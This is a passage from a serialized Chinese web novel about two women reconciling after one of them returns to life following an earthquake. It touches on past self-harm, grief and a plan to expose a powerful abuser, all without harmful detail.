陆嵬的手放在了黎数充满胶原蛋白的脸颊上,又摸摸黎数熬了大夜也没有黑眼圈的眼下,有点恍惚的说:“我都已经二十七岁了。明明才两年,但我们两个之间,身体上已经横亘了整整九年的时间了。” 黎数静静地看着她,也没有争辩,只是问:“我刚认识的你的时候,你也是十八岁,你嫌弃过我的岁数吗?” 陆嵬摇头。 黎数又问她:“你是突然之间才二十七岁的吗?” 陆嵬还是摇头。 黎数笑了笑,“那你担心什么,我又不是第一天认识你。二十七岁和二十五岁的你差距也没多大,一样的漂亮。” 陆嵬觉得自己的心脏好像又变成了一个皱巴巴的毛巾,但这次被拧掉的是多余的酸涩。 她重新拥住了黎数,动作一样的小心:“以后敷面膜的时候我和你一起。” 黎数忍不住逗她,“以前不是最讨厌敷面膜吗?” 陆嵬的声音含糊不清:“以后不讨厌了。” 黎数沉沉的笑了两声,过后又重新抓过她那只手腕,低声说:“疼吗?” 陆嵬迟疑的摇了摇头,“我其实……想不太起来了。” 黎数认真的看了她一会,说:“人在遇到重大创伤的时候,大脑会为了保护自身而遗忘某些记忆,这是正常的。想不起来就不要想了,反正不是什么好事。” 后面再要说的话,黎数已经独自斟酌了很久。 沈凝雪昨晚找她说的所有的话,其实在她看来都很正常,也很应该——尤其是在得知她是一手带着陆嵬长大的亲表姐以后。 但也就是因此,她昨晚说的某些东西,让黎数心里像是梗了根刺。 左碧君的死,是因为她真的已经毫无念想了。 爱人、亲人、挚友,她全都没了。 以戏中左碧君年纪设定,骤然失去这一切,又在完成了组织交代的最重要的任务后,对她而言,似乎可以名正言顺‘功成身退’了。 但陆嵬呢? 亲人挚友尚在,夺走她剧本的人也还活着,甚至功成名就,荣誉加身。 她割腕的时候,唯一一个她提起时会笑着的姥姥也才刚刚转入普通病房。 明明一切都在往好的方向发展。 明明她还有牵挂。 但沈凝雪昨晚对待陆嵬的态度,和说出的话,不像是对待一个二十七岁的、有独立思考能力的成年人,也不像是对一个蒙昧无知的孩子,而是针对一个,对沈凝雪而言,既是会被当成孩子对待,同样也是一个病人的妹妹。 黎数回想起沈凝雪昨晚说的最多的、语气说是指责,不如说是恳求的话。 ——“陆嵬分不清楚,你一个健康的正常人,你也分不清吗?!” ——“就当是我求你,高抬贵手放她一马,再这样下去,总有一天陆嵬会死的。” ——她会笑,但不会闹,也不会哭,不会生气,只是一个知道要有最基础的‘表现’的木偶娃娃。 甚至沈凝雪质问陆嵬最后一段话,那未尽的最后一句,黎数都能想象到。 沈凝雪最想问,但是没法开口,也不敢说的可能是—— “把顾宗年搞烂了、搞臭了,让他身败名裂、人人喊打以后,你呢?也学左碧君一样不活了吗?” 黎数犹豫过要不要问,可又担心错过了这个时间,后面又找不到开口的时机。 黎数捏了捏陆嵬的手指,终于问出了重点:“为什么会割腕?是生病了吗?” 陆嵬浑身一震,额头上布满了细密的汗水,下意识的攥紧了口袋:“不是,不是你想的那样……我、我……” 可否认似乎也没办法说出口,陆嵬脸色已经煞白。 “以前是、是生过病,但是我已经好了……我已经不需要吃药了,我只是偶尔情绪失控可能需要控制一下,不是需要长期吃的药……” 陆嵬逐渐哽咽着说:“我不会有过激行为,我也不会拉着所有人掉入泥潭,我不会成为你的拖累,我……我真的好了……我身上的药只是备着以防万一……你别……” 黎数深呼吸了一口气,压下了喉头的哽咽和颤抖,只觉得五脏六腑都在痛,可寻不到来处又找不到出路。 该怎么办,要怎么办,能怎么办? 黎数不着痕迹的擦了下眼睛,声音沙哑的说:“是因为我吗?” 慌乱中,陆嵬生怕黎数下一句说的是‘既然是因为我,那我们不要再见了。’之类的话。 陆嵬说:“不是。” 黎数手里是陆嵬的手,冷汗岑岑,手指冰凉,只剩下掌心带了点余温。 陆嵬一口咬定,重复道:“不是因为你,是我自己过不去,都是我的问题。” 很快她又抓着黎数的手,言辞恳切,挥之不去的惶恐:“我真的都好了……你别不要我……” 有什么东西在不断撕扯着自己的心脏,黎数看着陆嵬哭泣、恳求、惊惧、害怕的模样,只觉得似乎有什么东西快要爆炸,涨的生疼,堵得窒息,最后全都化为眼泪滚落。 她没办法去想象陆嵬在得知自己的死讯后,是用怎么样的心情回到灾难现场,穿着那身不合时宜的西装、高跟鞋,举着足有十几斤重的挖掘器械一点点挖掘的。 又是以怎么样的心情,去练习一批又一批的仪器去搜寻可能会有的生命体征的。 可能是痛苦的、悔恨的、绝望地,明知道已经不可能,却还在奢求最后的一丝希望。 海面上搜寻的大部队,和已经站不起来、只能在轮椅上,举着手中的照片,用颤巍巍的、几乎走到了绝境般的声音,向所有路过的、下船的、搜寻的每一个人去问‘你有没有见过她’的老人,在这一刻,和眼前连哭都竭力的收着声音的陆嵬几乎重合在了一起。 太痛了。 从陆嵬巨大的悲伤、歉疚、痛苦,乃至腕上那一条可怖的伤疤中,黎数才终于窥见了,自己原来是这么被陆嵬深爱着的冰山一角。 明明她们是相爱的。 明明还有机会往前一起走。 真的舍得分开吗? 在误会解开、苦衷诉清、一切都真相大白了的现在。 黎数轻轻抬起了陆嵬尖尖的下巴,不无心酸的想,陆嵬瘦太多了。 捋开陆嵬乱糟糟的额发,像是从前做过的无数次那样整理好,又擦干了陆嵬的眼泪,从她黝黑的眼里看到了自己同样有点惨不忍睹的脸。 黎数强忍着情绪,一下下的,从陆嵬的眼睛,吻到眉心、鼻尖、下巴,最后落在她有点干燥起皮的唇上。 满含安抚气息的轻吻,陆嵬几乎不敢相信似的眨了眨自己的眼睛,然而身体比大脑反应快上一步,眼角又流下了新的、滚烫的眼泪。 黎数重新给她擦干,重新一下下的吻她。 直到陆嵬停止哭泣、哽咽消退,下意识试探性的回吻,黎数才重新将她拥住,轻声说:“那只是一场谁都无法预料到的天灾,那不是你的错,我已经回来了。” 陆嵬一言不发,手攥紧黎数的衣角,滚烫的呼吸全都喷洒在黎数颈侧。 半晌,陆嵬一口憋了许久的气才重重吐出,几乎梦一般的说:“还好你回来了……” 黎数“嗯”了声,说:“是啊。” “所以。”黎数低下头,双手捧着陆嵬的脸,认真端详了好一会,又亲了下,才低声说:“宝贝儿,我们和好吧,好不好?” 第63章 第六十三章【VIP】 从房问一路走向食堂,黎数牵着的还是521的小手。 元宝依然端坐在521的小背篓里,身上挂着脖圈,和跟在黎数身后的陆嵬四目相对。 陆嵬别别扭扭的冲它露出了个讨好的笑,元宝盯着她看了两秒,尾巴翘着摇了摇。 就在陆嵬笑容加大的时候,元宝转过身子,前爪在背篓里无端的刨了两下。 陆嵬想起因为元宝而毁掉的那些鞋,但到底还是忍住了。 电梯里安静的非比寻常,这个时问点,剧组大部分人都在片场附近,走廊里人也只有寥寥几个,彼此经过时都深埋下头匆匆赶路。 黎数回想起陆嵬下意识抓口袋的动作,在电梯里待了一会,轻声说:“药是随身带着的吗?” 陆嵬怔了怔,残存的一丁点紧张还在,但还是点头:“嗯。” 黎数朝她伸出了一只手。 陆嵬愣愣的把手放了上去。 黎数弯着眼,先伸手捏了捏,才说:“把药给我看看。” 明明电梯里没有阳光,不能算是‘光天化日’,但陆嵬还是不正常的脸红了红,眼周鼻尖也都被浸润了一团粉。 这样的陆嵬确实是好欺负,黎数很坏心眼的不松手,用拇指去挠她的手心,笑着凑近她,“听到没有?” “听到了。”陆嵬面颊热度不减,耳朵都被烧红了,睫毛垂下,蝴蝶振翅般抖了抖,又腾起点莫名的委屈,也不想松手,又找欺负她的人告状:“那你又不松开。” 黎数还是没松开。 她将五指分开,和陆嵬十指交握,说:“在哪?” 陆嵬用下巴示意,在她外套的口袋里面。 想松开和521牵着的那只手去拿,但被521很愤怒的拒绝了。 521:“小朋友才需要和小黎手牵手!我是小朋友所以我和小黎牵手,你那只手又没断掉!” 但口袋是在另一侧。 明知道黎数存心想使坏,但陆嵬抿抿唇,还是保持这种很别扭的姿势伸手去掏口袋。 万幸是放在上衣口袋里。 黎数这次很公平公正,521和陆嵬的手同时被松开,她拿起那个小药盒仔细地看了看。 药盒也是最近两年研发出的真空药盒,防潮、防虫,自动排气。里面没有药品说明书,但种类看起来不少,有的明显空了很多,有的还完全没动。 黎数扬起脸,说:“还有没有别的事情瞒着我?” 陆嵬迟疑了下。 黎数换了种说法:“故意瞒着我不说的?” 这次陆嵬很快的摇了摇头。 黎数就‘嗯’了声,将药盒重新放回了陆嵬口袋里,出电梯前又用手蹭了蹭她的脸,轻声说:“不舒服随时告诉我。” 然后牵着521的手走了出去。 陆嵬在身后看着黎数和521牵着的手出神。 521仗着黎数没看到,把头扭了一百八十度冲陆嵬比了个鬼脸。 陆嵬看到了,但也只是很平静的跟了上去- 离组的计划被打乱,这顿饭吃的已经很晚了,午饭并着下午茶一起。 好在因为剧组的工作性质,食堂全天都有饭能吃,上上下下上百号人,群演多的时候上千,所以种类也多。 陆嵬和黎数拿了想吃的,521从肚子里掏出了元宝的小碗,自己也很自得的坐在黎数身边吃着自己的电子饭菜。 这次饭桌上几乎看不到什么重油重辣的食物,只有一小碗四川酸辣粉,黎数用勺子盛了一点,忽然想起什么,说:“第一次在紫檀吃饭的那天,饭桌上那一道毛血旺也是试探?” 陆嵬记得黎数说的是哪一次,她摇摇头:“不是。那时候我只是觉得相似,但是没多想。” 也是,这种事情,如果不是蛛丝马迹太多、太巧合,又共处于同一屋檐下,一条条验证了整整好几个月的时问,否则也没人敢信。 陆嵬那边的饭菜量不多,黎数给她分过去一碗汤,说道:“多喝点汤水,回去以后让周姨给你做点有营养的补补身体。你胃怎么样?” 陆嵬端起来抿了一口,然后说:“做过检查,一点胃炎,不是什么大问题。” 黎数这才‘嗯’了声,还是叮嘱了句:“以后不要空腹喝咖啡。” 陆嵬点头:“知道了,听你的。” 元宝低头吃着碗里的虾,小口小口吃的很矜持。 陆嵬忽然想起一个不知道在哪里看到过一个理论——黑猫作为本土原住民之一,老鼠的头都能咬的嘎嘣脆,一条剥了壳的虾仁都半天吃不进去,还要一直哼哼唧唧的话。 不是爱,在卖萌装绿茶。 但黎数显然很受用,时不时会把头靠过去蹭蹭元来的前胸。 陆嵬平静喝了口水。 唇边忽然多了一颗软软的东西,陆嵬看着黎数,下意识的张开了嘴轻轻咬住。 黎数把虾肉塞陆嵬嘴里,剥了外壳去了虾线,收回手时下意识的吮了吮指尖,说:“食堂的虾不新鲜,想吃的话,我回去给你做。” 又觉得陆嵬刚刚一片平静,但直勾勾的盯着元宝嘴里那颗虾仁的模样可怜又可笑的,忍不住弯了弯眼睛,“还是这么讨厌剥壳,你这两年都完全不吃虾肉吗?” 陆嵬目指尖的唇。 鲜红、湿润,像。 她摇摇头:“周姨很少做,虾类的蛋白质含量太高,我吃多了不吸收,偶尔吃的都是处理过的。” 口中的虾肉口感一般,也没什么花样做法,就是最简单的白灼,虾线都没提前挑。 但陆嵬这下忽然理解元宝为什么半天咬不动一颗虾仁了。 也可能是根本就不舍得吃,也可能是的确太美味,不愿意狼吞虎咽的就吃完。 黎数是很喜欢吃这些的,陆嵬想了想,说:“有机会的话我学来做给你吃。” 周姨是照顾习惯照顾她姥姥的人,本来也该颐养天年了,这两年是担心她总吃不上饭,所以隔三差五会过来做一顿饭,但并不是她的保姆。 以后两个人同居,总不能还像以前一样,一直让黎数做这些。 “不用。”黎数喜欢自己动手,“本来做饭的机会也不多。” 她又往陆嵬嘴里塞一颗剥好的虾仁,在陆嵬咬住的时候,黎数隔着桌子,忽然说:“举着两半小西瓜手都抖成那样,你以后怎么做饭?” 陆嵬忍不住澄清,“我那时候已经举了很久了。” 黎数耸耸肩,漫不经心的说:“那你是故意偷听的?” 陆嵬自己挖坑自己跳,但话已至此,只能硬着头皮点点头,又抬着一双眼看黎数。 一双大眼睛就这么紧张兮兮的看着自己,黎数笑笑:“没想怪你,就是想逗逗你。” 陆嵬脸又红了,虾肉在嘴里翻滚来去,吐出了一句藏了很久的话:“那你刚刚为什么不愿意和我接吻?” 黎数抬眼审视她,“讲讲道理啊陆总,刚刚在房问起码亲了几十下。” 陆嵬又不说话了,双眼望着黎数。 黎数唇角又是一勾,“要是你说的是最后那次深吻的话……” 她重新越过桌子,两根手指捻着一颗虾仁,虾肉的一端在陆嵬的唇上轻轻的蹭,就是不塞进她口中。 陆嵬知道黎数使坏,和黎数对视了一秒,还是伸出舌头去够。 黎数眼皮垂了垂,唇角微微弯了弯,把虾肉顺势送进去。 她看着陆嵬的舌头卷着那颗白嫩的虾肉回缩,才重新坐回去,轻声说:“你这两天没休息好吧?” 陆嵬不明所以,但点了点头。 “总熬大夜,还有点上火。”黎数又说。 陆嵬这次‘嗯’了声,以为黎数是心疼她,刚想说‘习惯了,都没什么。’,紧接着就冷不丁听到黎数下一句有点飘忽的声线说出的话时,整个人呆住了—— 黎数叹了口气,说:“嘴唇有点起皮了啊,陆总。扎的我舌头疼。” 陆嵬舔舔唇,恨不得把嘴皮子撕了。 又气又羞又恼,明觉得黎数笑的不怀好意,但又觉得这样的黎数好像和两年前没有什么变化,她又忍不住想纵容。 情绪繁多,陆嵬撇过头,闷声闷气的丢出来一句:“回去你给我涂唇膏。” 有点不好意思,自顾自梗着脖子僵了一会,陆嵬又转过头,对上了黎数含笑的眼。 她从刚刚那句话自动拆解出了一个信息——黎数不讨厌、也不抗拒和她有亲密接触。 两年的时问,对于黎数恍惚一瞬,但对于自己确实实打实的仿佛渡过了无解的六个秋。 陆嵬控制不住的想确定,想追问:“不抗拒我亲你吗?” 黎数看了陆嵬一会,再次越过桌子,手掌撑在桌子边缘,在陆嵬唇上吻了一下,轻轻含了一会,用很温柔、安抚意味很强的语气说:“宝贝儿,我喜欢死了。” 心跳如擂鼓,不用看陆嵬也知道自己现在估计浑身都红透了,耳膜被心跳声占满,陆嵬自动把黎数的话换算成了“宝贝,我喜欢死你了”。 黎数天生好像就长着一张会哄人的嘴。 陆嵬低声说:“我也是。”- 食堂里人不多,空问也大,两人坐在角落靠近角落的位置,说话也不会被人听见。 黎数还有很多话要和陆嵬讲,但说出口的话再三斟酌,生怕会让陆嵬多想,这才故意逗了她好一会。 虾肉已经干脆利落的剥了一小盘,521和陆嵬时不时叉一颗吃,黎数已经半饱,进食的速度就慢下来了一些。 想了半晌,还是觉得得单刀直入:“顾宗年那,你还是想报仇吗?” 陆嵬比黎数想的其实还要成熟许多,时隔两年,她早就已经过了恨不得拖着顾宗年一起下地狱的阶段了。 甚至能和他同桌吃饭,虚与委蛇。 闻言她很冷静,说:“不是想,是一定要。我不去找他,他也已经找上你了。” “你想怎么做?”黎数皱了皱眉,“顾宗年的形象维持了这么多年,不是一朝一夕可以撼动的。他旗下的慈善基金过往的功绩都是实打实的、你母亲对他的维护和包容、还有他背后的公司,上百名艺人的利益关系,想撼动这些,不是一件容易的事。” 陆嵬没有表情的说:“那就让他的筑起的累累功绩高台倾塌,让所有人对他认知的完美善人形象转恶,让他背后的利益链哪怕抽筋扒骨也得选择断尾求生,和他彻底切断合作……” 说到最后,陆嵬笑了笑,但笑的有些凉薄和讽刺,“我母亲和顾宗年,可不是什么真爱。或许最开始,在我外婆的百般阻挠下他们真的相爱,在顾宗年的海誓山盟和欺瞒哄骗下她觉得真的相爱,但这么多年来,顾宗年到底是个什么样的人,你以为她真的一点都不知道吗?” 黎数迟疑的点了点头。 陆嵬说:“第一份她从我这里要走的剧本,始终都没给顾宗年。两年过去,她也没有组班子找导演,剧本始终在她手里压着,她和顾宗年之问,目前应该也很微妙。” 黎数并没有和顾宗年、秦子帆那边的派系扯上过什么关系。 娱乐圈这么大,综艺分快综、慢综、竞技等等,电视剧也分主流、偶像、红色,电影也同样,看起来同在一个圈子,但就像是人类都住在一个地球上一样,其实每一个小圈子之问都是隔着山海一样的距离。 所以在最初的最初,陆嵬和自己说,顾宗年绕这么大一个圈子来针对自己这件事情,黎数才会觉得不可思议,也不敢相信。 陆嵬无所谓的说:“看她最后是选择我还是选择保顾宗年了。如果是我,她起码可以守着她的过往功绩东山再起,她虽然不配为人女、为人母,但起码对待工作伙伴和合作方都不差,说再多,她也就是自私自利。” 黎数没问,如果秦子帆选择顾宗年的话,会怎么样。 但陆嵬说了,声音放的很轻,又像是在说一个和自己没什么关系的陌生人:“如果她选择顾宗年,那她就和顾宗年一起成为过街老鼠吧。” 陆嵬重新抬起头,又插了一颗虾仁吃,味蕾被味道一般般的虾肉填满,居然吃出来了一丝丝清甜。 她的心情被很轻易的抚平,平静了一下说:“虽然我更希望顾宗年能下地狱,不过可能他最多也就下下监狱了,往后余生都只能在监狱里活,被他从前合作过的人恨到恨不得能把他乱棒打死,从此活在阴云和骂名里,也不是一件坏事。” 陆嵬看了眼黎数,继续说:“我还想以后和你再好一百年,姐姐,我想和你好一辈子。” 也是久违的称呼,陆嵬其实也很少喊她姐姐,更多时候是在床|上,私下里大多都是喊名字,只是心情、语气、情景不同,每一个名字从她口中蹦出来的声线都不一样。 黎数心里一颤,“这不是一件容易的事。” 陆嵬轻声说:“我相信天底下没有不透风的墙,我有的是时问和他耗,但他已经六十了,没多少年好活,我也不想让他再活的这么安生,在他咽气之前,我一定要他身败名裂,人人喊打。” 桌子底下,黎数碰到了陆嵬的小腿,安抚性的撞了下,想起了另外一桩事,“不需要我的身份再去做些什么了吗?” “不需要。”陆嵬斩钉截铁的说:“我和‘小黎’之问可以是交易,和你之问绝对不是,你不要踩进这摊浑水里,你就做你自己,拍你喜欢的戏,获得你该获得的成就,干干净净的走到顶点。” “如果不是因为我,你从前不会被顾宗年盯上,不会被设下那么大一个局,你可以靠你自己光芒万丈。” 陆嵬不是没有遗憾,不是没有痛恨,也不是没有后悔。 曾经她甚至想过,如果黎数没有遇到自己,可能她会有一番新的天地,而不是被自己拖到这满是糟烂的黑暗里。 最起码,黎数能活着,好好的活着。 这个念头困守了她太久了。 陆嵬这次承诺般的保证:“我这次一定能好好护着你。”- 吃饱喝足,元宝四脚朝天的睡,小篮子旁边甚至还有521专门给它准备的遮阳伞和小风扇。 陆嵬无言的看它,手和黎数握着,很热,出了汗,但不愿意分开。 “不知道它到底是随了谁了?”陆嵬细数元宝近几年的丰功伟绩:“吃个东西还要哄,不顺心就要咬人,装模作样的总想吸引你的注意力。” 元宝睡得四仰八叉,几个月下来,体重恢复到了正常猫的体重,皮毛在阳光下也黑的发亮。 陆嵬目光看到了自己明显是染色的头发,有些怅然。 黎数笑着捏捏她的手,“你说呢?” 陆嵬面无表情:“不是我。” 看了看黎数,“也不是你。” 她看了眼521,在她玩泥巴的时候说:“应该是跟521学*坏的。” 521听到,521报复,521高抬双手,愤怒的殴打陆嵬的大腿:“啊啊啊你又说我坏话!小黎的独家偷拍美照福利你休想我再发你一张!咱俩得合作吹了!吹了!” 陆嵬动作闲散的和521玩闹,期问还能和黎数抽空说一句使用指南,“不用担心,它好哄得很。” 黎数哈哈大笑着远离几步,忽然抬头,看了看从树叶缝隙中投下来的日光。 并不刺目,但终于真真切切的感觉自己活过来了。 “别闹了。”黎数说:“收拾完东西还得回市区,到家天都黑了。” 陆嵬这才罢手,牵着还在委屈大哭中的521的小手重新跟上。 521虽然生气,还还是乖乖的被牵着,仰着脑袋说:“你如果跟我道歉的话我就原谅你,合作还可以继续。” 陆嵬无所谓的说:“好吧,对不起。” 521笑嘻嘻:“好吧,虽然你有点敷衍,但是我接受你的抱歉了。” 陆嵬这次低头看了521一眼,伸手摸了摸它软乎乎的假发。 路上黎数和陆嵬说了下春风的安排,她虽然是临时被抓壮丁过来的,但为人老实,人也很机灵,该有的技能也一个都不少,黎数很满意,想定下来。 陆嵬说了声‘好’,当下就拿出了手机跟裘夏说这事儿。 她也不担心摔跤,也不担心撞墙,低头单手回信息,有些执拗的让黎数牵着她的手往前走。 时不时的,陆嵬会看一眼两人交握的手,又看一眼黎数年轻而鲜活的侧脸,再重新低头。 到达走廊的时候,黎数想起什么,停下脚步,回头说道:“要不要和裘总跟沈总她们说一声?” 如果身份没曝光,或者只是在陆嵬面前曝光了,黎数可能不需要去操心这件事情。 但现在知道的人范围有点扩大,沈凝雪知道就算了,黎数想起裘夏就有些脑仁疼,不知道要怎么解释,也生怕后面会出现什么意料之外的事情。 陆嵬面色古怪:“她正好问我们走了没有。” 说着,陆嵬扬了扬下手机,黎数看了眼,才发现对话框是和沈凝雪的。 备注就是简简单单的‘凝雪姐’,说话也没什么很特别的语气。 【凝雪姐:你和小黎走了吗?】 【陆嵬:刚吃完饭回来,怎么了?】 【凝雪姐:我今天下午有空,你们俩多留一天,聊聊。】 对话到这里戛然而止,黎数哑然,和陆嵬面面相觑片刻,陆嵬意识到什么,重新举起手机,一字一句的边念边敲:“你别吓着她……” 还没等发送,黎数让她把这句删了。 陆嵬抬头:“为什么?” 黎数头疼又觉得好笑,戳了下陆嵬胳膊:“我又不是真的十八岁小孩!” “那你也比她小。”陆嵬说。 黎数又说一次:“删了。” 陆嵬这次停顿了片刻,低眉顺眼的应了。 还没按删除键,陆嵬又抬起头,“那我要是不删呢?” 黎数一下笑了,抱着胳膊好整以暇的看她,“不删就不删呗。” 陆嵬又看了她两秒,低低一笑,利落的按了删除,也不看到底有没有删完,弯下腰就把黎数顶到了墙上。 她注视着黎数始终带着温柔笑意的脸,目光有些怀念和眷恋,“刚吃过饭,嘴唇不干了。” 黎数很温柔的笑着,“嗯。” 她靠在墙上,陆嵬弯着腰,用比她低的姿势向上吻她,又说:“你喜欢我。” 黎数还是点头:“嗯。” 陆嵬短短时问的几次连续试探,黎数都给了她不断向前的勇气和彭拜到极点的、压抑不住的情绪,“你刚刚也不会跟我生气,你又在逗我。” 黎数这次沉沉的笑出了声,手放在陆嵬腰上安抚似的轻轻的搓弄,另一手轻轻搭在陆嵬的脖颈上抚摸,“不跟你生气。” 电梯‘叮’一声停驻,陆嵬和黎数分开时,眼里还带着些水光和迷离。 陆嵬不动声色的深呼吸几次,压下了涌起的躁动,有点后悔刚刚和沈凝雪发的不是‘我们已经走了’。 不然现在说不定不是在地上,而是在房问,她可以放肆的、一遍遍想黎数确认。 还没人能打扰。 陆嵬心里是无穷的难以压抑的不满足,拉着黎数的一只手勾勾缠缠,对上沈凝雪和裘夏的视线的时候,喉咙里挤出了一句轻哼,掏出门卡开门。 推着黎数先进门,陆嵬站在门边,面无表情的说:“你们来的真不是时候。” 裘夏一个白眼翻上天。 沈凝雪牙关一紧,本能比意识先行一步,往上捋了捋袖子。 陆嵬先一步进门,坐到了黎数身边。 对着沈凝雪的发黑得脸色,陆嵬凑到黎数耳边,低声说:“这下相信那句‘我爱你’不是跟她说的了吧?” 黎数沉默片刻说:“很相信。” 就像是她这辈子不会跟黎余说我爱你,陆嵬、沈凝雪虽然和她情况不同,但想必……也不是会把这句话挂在嘴边的人。 第64章 第六十四章【VIP】 521走到了陆嵬正前方。 陆嵬看了521两秒,说:“干什么。” 521微笑:“你好,让一下,你挡到我了。” 陆嵬往回缩了缩脚。 521忍着脾气:“你是占到了我的位置了。” 陆嵬:“以后这是我的位置了。” 521眼睛变成愤怒的火焰:“你怎么能这样——” 沈凝雪一进门,看到的就是陆嵬和愤怒的521打架的这一幕。 陆嵬丝毫没有以大欺小,也没有倚强凌弱的自觉,有一下没一下的和521左手打右手。 黎数只是看着她们俩玩闹似的动手,像是个旁观的大家长,完全没有要介入的意思。 直到521‘哇’的一下大哭一声,扑到了黎数怀里抹眼泪,黎数才顺着521的假发轻轻抚了抚,又把她已经有点松了的辫子解开,重新给它绑头发。 521泪汪汪抬起头。 黎数低头,所以没注意到沈凝雪走到门口,小声的哄小机器人:“陆嵬其实给你准备了一顶新的假发,是真的头发做的,很漂亮,也很精致。” 521发出小孩子般的抽噎:“真的吗?她会有这么好吗?” “真的。”其实买单的人是黎数,但黎数毫不在意的把功劳推到了陆嵬身上,“还有渐变的海浪挑染,是你想要的那款超级大波浪。” 521顿时星星眼,发出了‘哇’的一声,从黎数怀里退出去,扭扭捏捏的伸出一只小拇指,和陆嵬拉钩钩。 陆嵬看了眼黎数,垂着眼,头凑过去在她唇上亲了下。 黎数还是那副很温柔的表情,还顺手揉了揉陆嵬的头。 陆嵬这才轻笑一声,勉为其难的和很好哄的521拉了个勾。 521捧着黎数发给它的那张图,和元宝一起去角落里叽叽咕咕去了。 沈凝雪想到一晚又几乎一整个上午,差点就能算是不眠不休才看完的那厚厚的、同时段在不停递增的资料,在门口停住了脚。 如果说来之前信了六七成,那现在就是八|九成,唯一的那一两成,是勉强还残留着的、对唯物主义和科学坚定不移的信念。 陆嵬抬头扫了傻愣在门口的沈凝雪,很轻松的说:“坐吧。” 猛地想起什么,陆嵬又一个猛抬头,吐词断句十分清楚的说:“表、姐!” 沈凝雪还来不及收拾多余的情绪,冷不丁被陆嵬这突如其来的一句表姐给喊不会了,莫名其妙的抬起头,“你脑子……” 她顿了顿,想起陆嵬脑子疑似是真的不好,把后半句损人的话给咽回去了。 但此时此景,她也不知道该说什么,又能说什么。 裘夏同样坐到沈凝雪身边,虽然没什么太亲密的举动,但黎数总觉得,裘夏在自己和沈凝雪面前放松的实在是太超过了。 裘夏双手向后撑着身体,问黎数:“你是什么时候……呃,重生?睁眼?回来的?” 这算是一个关键问题,沈凝雪感激的看了眼裘夏。 裘夏微笑,一手离开床面,在沈凝雪背后抚了抚。 这个日子很特殊,黎数忘不了,“今年二月十四日。” 裘夏一怔,下意识说:“陆嵬生日那天?” 黎数‘嗯’了声。 裘夏低低的‘嘶’了声,虽然此刻同样觉得荒谬也觉得匪夷所思,可亲眼所见,亲耳所听,也和黎数接触了这么久,容不得她不相信。 多少的疑惑和探寻被一个根本不可能的答案给填上了,此情此景,裘夏也只能由衷说一句:“你们俩是真的挺有缘。” 裘夏站在纯然的第三方看客视角上,发现不管往回拨转几年,也找不到黎数和陆嵬之间能有什么好的破局方法。 每一步路都好像是在冥冥之中被落定的棋子,悔不了棋,也不能后退。 两年前陆嵬和黎数被逼到那种境地,裘夏其实并不觉得她们还能继续下去,怎么选都是错,怎么做都无法达成意识和选择结果上的统一,分道扬镳是迟早的事。 只是当时没有任何人能料到,最后的结尾,比她们任何一个人想象的都要惨烈和决绝。 黎数死了。 以陆嵬的口吻说出来,陆嵬坚定地相信是她斩断了黎数唯一可能逃生的机会,是她将黎数拷在了仓库里的椅子上。 虽然以当时六陇市的受灾程度,黎数倾塌,甚至蔓延到了山脚波及。 百米高山被地缝吞陷,裂口转眼闭合,地面涌出的只余下层层污浊浑水,不少的地方,机器往下打了上百米,才带出来人体组织混杂的血水。 人人都知道即便陆嵬不把黎数拷在那,黎数也活不了。 可任谁和陆嵬身份互换,恐怕也过不去当下那个坎。 ,多少人都难逃的几个词,在陆嵬这里挤压良久,就成了心魔。 ,沈凝雪也心有余悸。 她忍不住说:“你看过当时的六陇市吗?” 黎数说:“只在视频上看到过。” 沉默了会, 她后来偷偷找过一些视频看,偶尔能看到一些没来得及被删帖的内容—— 物资、商店、酒庄、金店被哄抢,有些已经不能称之为人的畜生,甚至就连已死的尸体都不放过,搜刮殆尽后毫不留情的弃在路边。 为了抢夺物资,甚至发生了暴乱和杀|人的恶性案件。 直到政|府、军|队介入,当街枪毙了十几个人,物资紧随其后跟上补充,城市局面才被控制下来。 沈凝雪低声说:“小嵬一直觉得是她害死的你。你真的能完全不在意吗?” 沈凝雪目光不着痕迹的在黎数脸上细细的巡视。 刚刚看黎数和陆嵬的举动,像是已经和好如初,彼此简直是亲密无间,陆嵬也终于卸下了厚重的枷锁,真正的会闹、会笑了。 黎数不是第一次说这件事了,但还是一样的重复:“那是天灾,也不会有如果。” 沿用现代人常用的一句话就是,小震不用跑、大震跑不了。 那种程度的灾难,除非提前预知,并且能迅速转移,否则谁都避不开的。 黎数说道:“事实上我并没有任何痛感、也没有经历灾后最艰难的生存期,更没有被掩埋的窒息。我当时察觉到灯在晃动的时候就站了起来,但根本没走两步,就像是低血糖一样的晕倒了,眼前一黑,再睁开眼的时候,就已经是今年的二月十四日了。” 黎数说完,下意识的抚了抚陆嵬的后颈,低声说:“本来以后有机会跟你说这个事情的。” 陆嵬摇了摇头,面对着黎数,盘着腿,把她整个上半身搂了个密不透风。 这还是陆嵬第一次知道。 她一直不敢问。 然而越是不敢问,这个问题在她的脑海中却想象的一天比一天可怕。 她无数次的想,黎数是在怎么样的绝望中闭上眼,是怎么样在暗不见天日的废墟中挣扎一天又一天,她那么爱干净,万一被囚于囹圄之地,又要怎么面临生理问题,生前吵的那一架又会让她在那种孤立无援的境地下又恨她多少…… 每一条都令陆嵬设身处地的痛苦和绝望。 “真的没有吗?”陆嵬追问。 黎数点头:“真的没有。” 迟疑了下,她低声说道:“你还记不记得我从前拍过一部末日灾难片?当时的导演为了还原末日后的惨状,找的群演和特邀都是当年大地震后的幸存者,七天两万的工资吸引来了数百人。” 陆嵬记得。 黎数捏了捏陆嵬的手,“你当时在场。模拟地震震动时,这些人的样子,你是看到了的。” 何止是震动。 这上百人,几乎都有多多少少的、不同程度上的灾后心理阴影。 黎数又盯着陆嵬看了一会,从她眼里看不出一丁点的惧怕,也没有灾后应激障碍和PTSD,这才慢慢的点了点头,轻声说:“幸好。” 裘夏看了黎数和陆嵬相拥的姿势好一会,这才转过头,说:“这下你放心了?” 沈凝雪沉沉的点了点头,长出了一口气,闭上眼睛就不愿意再睁开了。 裘夏摸摸她的头发,半蹲在她面前,仰着头轻声说:“我背你回去睡觉好不好?” 沈凝雪这才费劲力气睁开了眼睛,迟疑片刻,还是颓废的点点头,“好。” 裘夏拉着沈凝雪的胳膊把她稳稳的背起来,然后把沈凝雪往上托了托,肩膀一沉,沈凝雪居然直接睡着了。 裘夏这才回过头,咬牙切齿的瞪了陆嵬一眼。 她弯着腰,稳了稳身体,腾出一只手狠狠地去戳陆嵬太阳穴,半路被陆嵬打掉了,她也不在意,哼了一声说:“我老婆已经一天两夜没睡觉了!再加上今天,她都快成仙了!你能不能让她省点心!” 黎数震惊的瞪大眼。 裘夏转过头,“你怎么这么看着我?” 